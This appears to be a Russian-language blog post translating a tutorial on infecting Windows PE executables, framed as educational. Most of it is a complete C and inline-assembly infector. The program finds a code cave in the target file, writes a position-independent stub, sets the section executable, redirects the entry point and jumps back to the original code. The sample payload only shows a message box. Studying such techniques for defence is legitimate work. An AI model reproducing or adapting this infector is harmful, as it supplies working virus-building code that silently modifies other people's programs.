Order Of Six Angles

Main Logo

Х.Р.А.М Сатаны

Home | RU | Translations | Art | Feed.xml

12 June 2021

tags: windows - malware

Детальный гайд по заражению PE

Заражение PE файлов - тема, которую я всегда считал сомнительной. Изучая ее, я всегда упускал некоторые части пазла… В этой статье я попытаюсь прояснить этот вопрос и надеюсь, что она станет хорошей отправной точкой для тех, кто хочет узнать, как работают PE инфекторы.

Хочу отметить, что я пишу эту статью с намерением обучить других. Вы можете начать свою деятельность с заражения PE файлов, но в конце концов я надеюсь, что вы перейдете к написанию средств защиты PE файлов и будете использовать полученные знания в позитивном и этическом ключе. Многому можно научиться в процессе разработки и внедрения таких инструментов.

В большинстве своем я буду использовать язык Си и встроенный язык ассемблера и подразумеваю, что вы имеете как минимум опыт использования Си/языка ассемблера.

Во-первых, что такое PE файл? Вы можете прочитать об этом по следующей ссылке:

Portable_Executable Во-вторых, что такое ‘заражение PE файлов’?

По моему мнению, заражение PE файлов - это просто метод добавления кода (вредоносного) в скомпилированный исполняемый файл, с сохранением прежней функциональности (это значит он должен работать так, как будто его не меняли).

Конечно, чтобы заразить PE файл мы должны знать его структуру. Существует множество документов описывающих ее. Я рекомендую вам взглянуть на следующие перед тем, как продолжите читать дальше:

PECOFF An In-Depth Look into the Win32 Portable Executable File Format, Part 1 An In-Depth Look into the Win32 Portable Executable File Format, Part 2 Типичная структура PE файла выглядит так:

[MZ Header]

[MZ Signature]

[PE Headers]

[PE Signature]

[IMAGE_FILE_HEADER] [IMAGE_OPTIONAL_HEADER]

[Section Table]

[Section 1] [Section 2] [Section n]

Я не указал заголовок DOS, но это не так критично. Я не ставлю тут цель рассказать о внутренностях PE формата.

Внутри IMAGE_OPTIONAL_HEADER у нас лежат указатели на различные каталоги данных. Эти каталоги обычно указывают, среди прочего, на таблицы Import и Relocation. Мы должны сохранить или перестроить эти каталоги сами, если хотим их уничтожить… Например, если вы шифруете секцию, которая содержит данные одной из директорий.

Основная идея заражения PE - в начале вставить наш код в свободное место, поменять оригинальную точку входа, чтобы она указывала на наш код, выполнить его, и затем прыгнуть на оригинальную точку входа, чтобы PE работал так, как будто и не существовало нашего кода.

Псевдокод этого алгоритма будет выглядеть так:

Открываем целевой файл Проверяем наличие сигнатур MZ и PE Ищем последовательность NULL байтов, от начала последней секции Пишем наш код в найденное свободное место Изменяем текущую точку входа на адрес нашего кода Закрываем целевой файл Хочу обратить внимание, что сам код, который мы вставляем - это самая сложная часть заражения PE, почему вы поймете дальше.

Теперь давайте начнем реализовывать наш псевдокод…

Нам надо открыть файл и смаппить его (это упростит модификацию). Я не буду объяснять, что делает каждый вызов API, в этом вам поможет MSDN.

Следующий кусок кода показывает, как это делается:

// PE Infecter by KOrUPt #include #include

#define bb(x) __asm _emit x

__declspec(naked) void StubStart() { __asm{ pushad // сохраняем контекст нашего потока call GetBasePointer GetBasePointer: pop ebp sub ebp, offset GetBasePointer // трюк для базонезависимости…

    push MB_OK
    lea  eax, [ebp+szTitle]
    push eax
    lea  eax, [ebp+szText]
    push eax
    push 0
    mov  eax, 0xCCCCCCCC
    call eax
 
    popad   // восстанавливаем контекст нашего потока
    push 0xCCCCCCCC // кладем на стек адрес оригинальной входной точки (здесь в примере - заглушка)
    retn    // retn используется, как jmp
     
    szText:
        bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
        bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
    szTitle:
        bb('O') bb('h') bb('a') bb('i') bb(0)
     
} } void StubEnd(){}

// By Napalm DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders) { PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){ if(dwFileAddr >= lpSecHdr->PointerToRawData){ if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){ dwFileAddr -= lpSecHdr->PointerToRawData; dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress); return dwFileAddr; } }

    lpSecHdr++;
}
 
return NULL; }

int main(int argc, char* argv[]) {
PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pSection, pSectionHeader; HANDLE hFile, hFileMap; HMODULE hUser32; LPBYTE hMap;

int i = 0, charcounter = 0;
DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
unsigned char *stub;
 
// вычисляем размер кода/стаба
DWORD start  = (DWORD)StubStart;
DWORD end    = (DWORD)StubEnd;
DWORD stubLength = (end - start);
 
if(argc != 2){
    printf("Usage: %s [file]\n", argv[0]);
    return 0;
}
 
// мапим файл
hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                    NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE){
    printf("[-] Cannot open %s\n", argv[1]);
    return 0;
}
 
fsize = GetFileSize(hFile, 0);
if(!fsize){
    printf("[-] Could not get files size\n");
    CloseHandle(hFile);
    return 0;
}
 
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if(!hFileMap){
    printf("[-] CreateFileMapping failed\n");
    CloseHandle(hFile);
    return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if(!hMap){
    printf("[-] MapViewOfFile failed\n");
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}
 
// проверяем сигнатуры
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
    printf("[-] DOS signature not found\n");
    goto cleanup;
}
 
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
    printf("[-] NT signature not found\n");
    goto cleanup;
}
 
// берем заголовок последней секции...
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
// сохраняем точку входа
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
 
// определяем свободное место
i = pSection->PointerToRawData;
for(; i != fsize; i++){
    if((char *)hMap[i] == 0x00){
        if(charcounter++ == stubLength + 24){
            printf("[+] Code cave located @ 0x%08lX\n", i);
            writeOffset = i;
        }
    }else charcounter = 0;
}
 
if(charcounter == 0 || writeOffset == 0){
    printf("[-] Could not locate a big enough code cave\n");
    goto cleanup;
}
 
writeOffset -= stubLength;
 
stub = (unsigned char *)malloc(stubLength + 1);
if(!stub){
    printf("[-] Error allocating sufficent memory for code\n");
    goto cleanup;
}
 
// копируем код в буфер
memcpy(stub, StubStart, stubLength);
 
// определяем смещения до заглушек в коде
for(i = 0, charcounter = 0; i != stubLength; i++){
    if(stub[i] == 0xCC){
        charcounter++;
        if(charcounter == 4 && callOffset == 0)
            callOffset = i - 3;
        else if(charcounter == 4 && oepOffset == 0)
            oepOffset = i - 3;
    }else charcounter = 0;
}
 
// проверяем их на валидность
if(oepOffset == 0 || callOffset == 0){
    free(stub);
    goto cleanup;
}
 
hUser32 = LoadLibrary("User32.dll");
if(!hUser32){
    free(stub);
    printf("[-] Could not load User32.dll");
    goto cleanup;
}
 
// подменяем заглушки реальными значениями
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
FreeLibrary(hUser32);
 
// записываем код
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
 
// устанавливаем точку входа
pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
    FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
// устанавливаем размер секции
pSection->Misc.VirtualSize += stubLength;
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
 
// очищаем
printf("[+] Stub written!!\n[*] Cleaning up\n");
free(stub);
 
cleanup:
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
 
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0; } Код выше объясняет всю суть способа… Надеюсь, вам понравилось читать. Я жду ваших комментариев и рецензий данной темы.

KOrUPt.

Вверх